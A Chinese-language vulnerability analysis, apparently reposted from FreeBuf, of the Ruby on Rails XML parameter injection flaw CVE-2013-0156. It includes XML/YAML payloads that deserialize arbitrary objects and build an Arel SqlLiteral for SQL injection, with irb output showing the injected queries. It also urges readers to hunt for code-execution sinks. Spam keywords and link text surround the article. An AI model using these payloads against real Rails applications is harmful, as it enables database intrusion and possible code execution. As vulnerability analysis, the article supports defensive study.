成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Ruby on Rails XML參數注入漏洞(CVE-2013-0156)分析

安全 漏洞 應用安全
近日RoR的漏洞大爆發,就在昨天臨晨,RoR的官網發布了新的兩個安全漏洞補丁,CVE-2013-0155和CVE-2013-0156.

Author: wofeiwo#80sec.com

注意,本文基本是這篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建議去原文查看。

近日RoR的漏洞大爆發,就在昨天臨晨,RoR的官網發布了新的兩個安全漏洞補丁,CVE-2013-0155和CVE-2013-0156.

CVE-2013-0155主要是防止Json數據解析的nil導致程序DoS,而CVE-2013-0156則是對RoR的XML解析進行修補.其中Json的那個并沒有什么值得關注的部分,但是對于XML解析的修補,卻很值得玩味.官網對此補丁的描述是:要求所有RoR的用戶,必須立即(immediately)升級此補丁.這是本周內除了CVE-2012-6496之外,第二次要求大家”立即”升級的高危漏洞.甚至,連cnbeta都開始報道此漏洞了.

為什么這個漏洞如此的嚴重?原因就出在RoR框架的靈活性和便利性上.RoR支持用戶使用多種格式提交你的參數,而不僅僅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去對你提交的參數進行描述,因為Ruby是個強類型語言,因此由于HTTP傳過來的純string的參數并不足夠描述參數的屬性.當你使用XML格式去遞交時,就是另一回事了.例如:

  1. <?xml version="1.0" encoding="UTF-8"?> 
  2. <hash> 
  3. <foo type="integer">1</foo> 
  4. </hash> 

如果你POST提交這樣的一個數據,RoR就會在其中解析為:

  1. "hash" => {"foo" => 1} 

這些type的xml屬性也就補充說明了一個參數的類型.RoR可以很便利的將其解析出來.可關鍵問題就在此,Type的取值還可以為Symbol和Yaml.

說起Symbol,還記得之前提到的另一個高危SQL注入漏洞,CVE-2012-6496,其***的不可利用問題,就在于他需要提交的參數的key必須是Symbol類型么?

然后我們測試下,就會發現,由于框架中對參數進行 data.with_indifferent_access 的操作(會把key全變成string),我們還是無法通過xml去將Key變成Symbol類型。所以,也無法利用此漏洞去利用CVE-2012-6496。

但是等等,還有另一個參數類型,yaml。

yaml強大的地方在于,利用yaml語言,你可以讓Rails生成各種類型的數據結構,例如,Object。

  1. <test type="yaml">--- !ruby/object:A  
  2. aaa: bbb  
  3. </test> 

這基本類似于一個變量反序列化的過程,實際用起來基本就相當于一個任意變量覆蓋漏洞。如果后續的代碼中,有將此Object的aaa屬性帶入eval/exec/system等關鍵語句中,就可以執行一些被污染的代碼。

如果你熟悉rails的代碼,或者其他開源rails的webapp,現在就可以找起來了。或許一個遠程執行0day就此誕生。

如果你不熟悉ror,那么也沒問題,實際上還有個利用方式,可以直接進行sql注入。

一般在RoR中都是使用model.find_by_*的方式進行數據庫查詢(ActiveRecord模式)

model.find_by_id(params[:id])類似的代碼會很常見。我們可以通過yaml去定義這個id變量,使其成為可以注入的內容:

  1. <id type=yaml>--- !str:Arel::Nodes::SqlLiteral  
  2. 1 and 1=2 
  3. </id>利用如上代碼,通過SqlLiteral對象,即可進行sql注入。  
  4. irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1")  
  5. => "1"  
  6. irb(main):018:0> Post.find_by_id(a)  
  7. Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 
  8. => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> 
  9. irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 11=1")  
  10. => "1 and 11=1"  
  11. irb(main):020:0> Post.find_by_id(a)  
  12. Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 11=1 LIMIT 1  
  13. => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> 
  14. irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2")  
  15. => "1 and 1=2"  
  16. irb(main):022:0> Post.find_by_id(a)  
  17. Post Load (0.0ms)  SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 
  18. => nil 

 

責任編輯:藍雨淚 來源: freebuf
相關推薦

2015-03-13 18:08:49

2023-12-08 09:00:00

漏洞攻擊

2009-12-18 13:13:59

Ruby on Rai

2009-08-27 10:21:22

Ruby on Rai

2022-06-14 09:00:21

漏洞補丁

2009-08-06 09:13:36

Ruby on Rai

2009-10-27 14:25:08

2009-12-14 15:30:43

安裝Ruby on R

2015-10-14 17:27:18

性能

2009-12-17 14:29:50

Ruby on Rai

2013-04-22 15:47:35

漏洞CVE-2013-00IE

2009-11-02 13:47:09

2013-05-31 09:56:54

2015-10-10 11:00:05

RubyRails性能

2009-12-16 16:37:59

Ruby on Rai

2009-12-16 15:41:10

Ruby on Rai

2009-12-16 17:37:31

Ruby on Rai

2009-12-17 17:37:42

Ruby on Rai

2010-09-25 14:39:29

Bruce Tate

2009-12-16 15:23:33

Ruby on rai
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产精品观看 | av中文字幕在线 | 91麻豆精品一区二区三区 | 天天夜夜操 | 九九国产 | 99精品欧美一区二区三区 | 国产成人精品久久二区二区 | 久久欧美高清二区三区 | 色99视频| 日韩精品一区二区三区视频播放 | 91操操操 | 成人国产免费观看 | 午夜免费网站 | 日韩一级免费看 | 精品免费视频一区二区 | 国产精品免费看 | 久久久免费 | 国产成人精品一区二区三区在线 | 久久久久亚洲精品 | 久久久69 | 免费看av大片 | 毛片com| 精品久久久久久 | 在线看片网站 | 日韩在线视频网址 | 亚洲黄色一区二区三区 | 国产精品久久久久久亚洲调教 | 在线国产视频 | av国产精品毛片一区二区小说 | 人人玩人人添人人澡欧美 | 精品欧美一区二区在线观看欧美熟 | 日韩精品在线一区 | av影音资源 | 午夜精品一区二区三区在线观看 | 日本一二三区在线观看 | 99精品国产一区二区三区 | 久久久久久a | 国产精品久久久久久久久久免费 | 精品视频导航 | 国产福利小视频 | 做a网站|